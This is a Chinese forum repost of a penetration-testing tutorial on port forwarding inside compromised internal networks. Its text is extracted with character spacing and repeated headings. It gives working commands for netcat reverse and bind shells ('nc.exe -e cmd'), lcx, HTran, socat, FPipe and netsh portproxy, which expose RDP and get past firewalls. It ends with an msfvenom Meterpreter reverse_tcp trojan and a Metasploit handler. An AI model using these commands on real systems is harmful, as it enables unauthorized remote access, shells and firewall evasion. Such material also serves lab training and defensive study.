搜索

[20646] 2021-07-13_码住最全的内网渗透之端口转发

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-13_码住最全的内网渗透之端口转发 码 住 最 全 的 内 网 渗 透 之 端 口 转 发 原 创   L L B B B   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 1 3 网 络 拓 扑 图 如 下 ： 网 络 拓 扑 图 如 下 ： 1 、 、 n c 1 . 1   反 向 连 接 反 向 连 接 攻 击 机 ： n c   - l v p   p o r t 靶 机 ( w i n d o w s ) ： n c . e x e   - e   c m d   r h o s t   r p o r t 成 功 反 弹 s h e l l ：  
1 . 2   正 向 连 接 正 向 连 接 靶 机 ( w i n d o w s ) ： n c . e x e   - l   - p   l p o r t   - e   c m d . e x e   攻 击 机 ： n c   - n v v   r h o s t   r p o r t 1 . 3   n c 的 一 些 参 数 的 一 些 参 数     - g < 网 关 >       设 置 路 由 器 跃 程 通 信 网 关 ， 最 丢 哦 可 设 置 8 个 。     - G < 指 向 器 数 目 >       设 置 来 源 路 由 指 向 器 ， 其 数 值 为 4 的 倍 数 。     - h       在 线 帮 助 。     - i < 延 迟 秒 数 >       设 置 时 间 间 隔 ， 以 便 传 送 信 息 及 扫 描 通 信 端 口 。     - l       使 用 监 听 模 式 ， 管 控 传 入 的 资 料 。     - n       直 接 使 用 I P 地 址 ， 而 不 通 过 域 名 服 务 器 。     - o < 输 出 文 件 >       指 定 文 件 名 称 ， 把 往 来 传 输 的 数 据 以 1 6 进 制 字 码 倾 倒 成 该 文 件 保 存 。     - p < 通 信 端 口 >       设 置 本 地 主 机 使 用 的 通 信 端 口 。
    - r       乱 数 指 定 本 地 与 远 端 主 机 的 通 信 端 口 。     - s < 来 源 位 址 >       设 置 本 地 主 机 送 出 数 据 包 的 I P 地 址 。     - u       使 用 U D P 传 输 协 议 。     - v       显 示 指 令 执 行 过 程 。     - w < 超 时 秒 数 >       设 置 等 待 连 线 的 时 间 。     - z       使 用 0 输 入 / 输 出 模 式 ， 只 在 扫 描 通 信 端 口 时 使 用 。 2 、 、 l c x 2 . 1   外 网 无 法 访 问 内 网 ， 内 网 可 以 访 问 外 网 。 外 网 无 法 访 问 内 网 ， 内 网 可 以 访 问 外 网 。 靶 机 （ w i n d o w s ） ： l c x . e x e   - s l a v e   r h o s t   r p o r t   l h o s t   l p o r t 攻 击 机 ： . / p o r t m a p   - m   2   - p 1   6 6 6 6   - p 2   5 5 5 5 成 功 开 启 3 3 8 9 连 接 ：
整 个 l c x - > p o r t m a p 的 端 口 转 发 流 程 大 致 如 下 ：   2 . 2   转 发 内 网 主 机 端 口 转 发 内 网 主 机 端 口 l c x . e x e   - t r a n   6 6 6 6   1 9 2 . 1 6 8 . 1 . 2   3 3 8 9 我 们 使 用 靶 机 进 行 连 接 ：    
流 程 如 下 ：   2 . 3   绕 过 防 火 墙 绕 过 防 火 墙 有 时 候 由 于 防 火 墙 的 限 制 我 们 无 法 直 接 连 接 靶 机 的 3 3 8 9 端 口 ， 所 以 我 们 可 以 利 用 l c x 把 3 3 8 9 端 口 转 发 到 本 机 的 其 他 端 口 。 靶 机 ： l c x . e x e   - t r a n   l p o r t   l h o s t   l p o r t   使 用 k a l i 直 接 连 接 靶 机 的 5 2 端 口 ：   3 、 、 n e t s h
使 用 w i n d o w s 自 带 的 n e t s h 配 置 规 则 也 可 达 到 和 l c x 一 样 的 效 果 ， 但 没 有 工 具 方 便 。 建 立 转 发 规 则 ： n e t s h   i n t e r f a c e p o r t p r o x y a d d v 4 t o v 4 l i s t e n p o r t = 6 6 6 6   c o n n e c t = 3 3 8 9 c o n n e c t a d d r e s s = 1 9 2 . 1 6 8 . 1 . 2 p r o t o c o l = t c p 查 看 转 发 规 则 ： n e t s h   i n t e r f a c e p o r t p r o x y d u m p 删 除 转 发 规 则 ： n e t s h   i n t e r f a c e p o r t p r o x y d e l e t e v 4 t o v 4 l i s t e n p o r t = 7 7 7 7 4 、 、 H T r a n 4 . 1   绕 过 防 火 墙 绕 过 防 火 墙 将 本 地 3 3 8 9 端 口 转 发 到 7 7 7 7 端 口 ： H t r a n . e x e   - t r a n   7 7 7 7   1 2 7 . 0 . 0 . 1   3 3 8 9 使 用 k a l i 成 功 连 接 ：   4 . 2   将 本 地 端 口 转 发 到 服 务 器 端 口 将 本 地 端 口 转 发 到 服 务 器 端 口 靶 机 ： H t r a n . e x e   - s l a v e   1 9 2 . 1 6 8 . 1 1 1 . 1 2 8   6 6 6 6 1 2 7 . 0 . 0 . 1   3 3 8 9   服 务 器 ： / p o r t m a p   - m   2   - p 1   6 6 6 6   - p 2   5 5 5 5
  成 功 访 问 3 3 8 9 ：   4 . 3   转 发 内 网 端 口 转 发 内 网 端 口 4 . 3 . 1   方 法 一 ： 方 法 一 ： 靶 机 ： H T r a n . e x e   - t r a n   6 6 6 6   1 9 2 . 1 6 8 . 1 . 2   3 3 8 9   攻 击 机 ： r d e s k t o p   1 9 2 . 1 6 8 . 1 1 1 . 1 3 2 : 6 6 6 6  
H t r a n 整 体 的 使 用 和 l c x 差 异 不 大 4 . 3 . 3   方 法 二 （ 比 较 麻 烦 ） ： 方 法 二 （ 比 较 麻 烦 ） ： 攻 击 机 开 启 监 听 ： H T r a n . e x e   - l i s t e n   7 7 7 7   9 9 9 9   靶 机 ： H T r a n . e x e   - s l a v e   1 9 2 . 1 6 8 . 1 1 1 . 1   7 7 7 7 1 2 7 . 0 . 0 . 1   3 3 8 9   我 们 用 k a l i 连 接 攻 击 机 的 9 9 9 9 端 口 ： r d e s k t o p   1 9 2 . 1 6 8 . 1 1 1 . 1 : 9 9 9 9 成 功 连 接 ：  
5 、 、 s o c a t 5 . 1   转 发 内 网 端 口 转 发 内 网 端 口 靶 机 ： s o c a t . e x e T C P 4 - L I S T E N : 6 6 6 6 , r e u s e a d d r , f o r k   T C P : 1 9 2 . 1 6 8 . 1 . 2 : 3 3 8 9   使 用 k a l i 成 功 连 接 ： r d e s k t o p   1 9 2 . 1 6 8 . 1 1 1 . 1 3 2 : 6 6 6 6   6 、 、 F P i p e 6 . 1   转 发 内 网 端 口 转 发 内 网 端 口 靶 机 ： F P i p e . e x e   - l   6 6 6 6   - r   3 3 8 9   1 9 2 . 1 6 8 . 1 . 2  
k a l i 成 功 连 接 ： r d e s k t o p   1 9 2 . 1 6 8 . 1 1 1 . 1 3 2 : 6 6 6 6   7 、 、 p o r t f w d （ （ m s f 自 带 ） 自 带 ） 7 . 1   使 用 使 用 m s f 生 成 一 个 木 马 生 成 一 个 木 马 m s f v e n o m   - p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 1 1 . 1 2 8   L P O R T = 4 4 4 4   - f   e x e   > t e s t . e x e 7 . 2   m s f 开 启 监 听 并 上 线 开 启 监 听 并 上 线 1 、 u s e   e x p l o i t / m u l t i / h a n d l e r 2 、 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 3 、 s e t   l h o s t   1 9 2 . 1 6 8 . 1 1 1 . 1 2 8 4 、 s e t   l p o r t   4 4 4 4 5 、 e x p l o i t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理